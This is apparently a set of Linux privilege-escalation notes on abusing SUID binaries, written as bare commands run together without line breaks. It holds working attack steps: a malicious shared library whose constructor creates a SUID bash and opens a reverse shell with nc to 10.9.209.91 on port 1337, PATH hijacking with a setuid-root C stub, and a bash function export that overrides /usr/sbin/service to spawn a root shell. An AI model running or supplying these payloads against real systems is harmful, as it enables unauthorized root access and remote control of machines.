SUID
Last updated
find / -perm -u=s -type f 2>/dev/nullfind / -type f -perm -04000 -ls 2>/dev/nullfind / -type f -perm -04000 -ls 2>/dev/nullstrace /usr/local/bin/suid-so 2>&1 | grep -i -E "open|access|no such file"#include <stdio.h>
#include <sys/types.h>
static void inject() __attribute__((constructor));
void inject() {
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/nc 10.9.209.91 1337 -e '/tmp/bash -p'");
}gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/libcalc.clinux-exploit-suggester.sh
[+] [CVE-2016-1247] nginxed-root.shdpkg -l | grep nginxfind / -type f -perm -04000 -ls 2>/dev/nullenvfind / -type f -perm -04000 -ls 2>/dev/nullstrings /usr/local/bin/suid-envecho 'int main() { setgid(0); setuid(0); system("/bin/bash"); return 0;}' > /tmp/service.cgcc /tmp/service.c -o /tmp/serviceexport PATH=/tmp:$PATH
/usr/local/bin/suid-envfunction /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }export -f /usr/sbin/serviceexport -f /usr/sbin/service